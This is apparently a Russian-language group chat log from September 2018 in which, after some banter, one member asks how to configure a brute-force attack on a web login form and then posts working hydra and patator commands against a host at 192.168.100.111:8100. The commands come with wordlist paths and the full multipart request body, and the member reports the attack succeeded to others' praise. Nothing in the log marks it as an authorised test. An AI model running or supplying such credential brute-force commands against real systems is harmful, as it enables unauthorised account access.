M
баба какая-то кота предлагала купить
Size: a a a
2018 September 17
NK
И кто это?
Y
баба какая-то кота предлагала купить
Внутри кота микрофон
NK
За бабой ОМОН стоял, все же видели те видео.
NK
Я же пошутил.
NK
И тут я напрягся, пора форматировать диск.
Y
Человек в туалете
NK
Слава богу.
Y
Не до телефона)
Y
Надо крепко держаться
M
не могу составить нормально запрос потому что при неудачной аутентификации ничего не происходит, не выходя какие-либо сообщения
M
просто обновляется
Y
Ну значит редирект в хидере наверное?
M
hydra -f -L '/root/Desktop/user_ex.txt' -P '/usr/share/john/password.lst' 192.168.100.111 http-post-form "/:Username=^USER^&Password=^PASS^:Invalid username" -e nsr -t 50 -s 8100
M
т.е что писать вместо ":Invalid username"
M
всепарни сбрутил
M
это просто писдец
M
patator http_fuzz url=http://192.168.100.111:8100 method=POST header=@<(echo -e 'Content-Type: multipart/form-data; boundary=1130388113700081130436918804\nUser-Agent: RTFM') body=@blah.txt 0='/root/Desktop/user_ex.txt' 1='/usr/share/john/password.lst' -t 50
cat > blah.txt
-----------------------------1130388113700081130436918804
Content-Disposition: form-data; name="FormCharset"
utf-8
-----------------------------1130388113700081130436918804
Content-Disposition: form-data; name="Username"
FILE0
-----------------------------1130388113700081130436918804
Content-Disposition: form-data; name="Password"
FILE1
-----------------------------1130388113700081130436918804
Content-Disposition: form-data; name="SessionSkin"
*
-----------------------------1130388113700081130436918804
Content-Disposition: form-data; name="login"
Enter
-----------------------------1130388113700081130436918804
Content-Disposition: form-data; name="Skin"
Viewpoint
-----------------------------1130388113700081130436918804
Content-Disposition: form-data; name="x2auth"
1
-----------------------------1130388113700081130436918804
Content-Disposition: form-data; name="canUpdatePwd"
1
-----------------------------1130388113700081130436918804--
ML
Красавчик
2018 September 18
NK
Sergey Bordenyuk будет жить. Поприветствуем!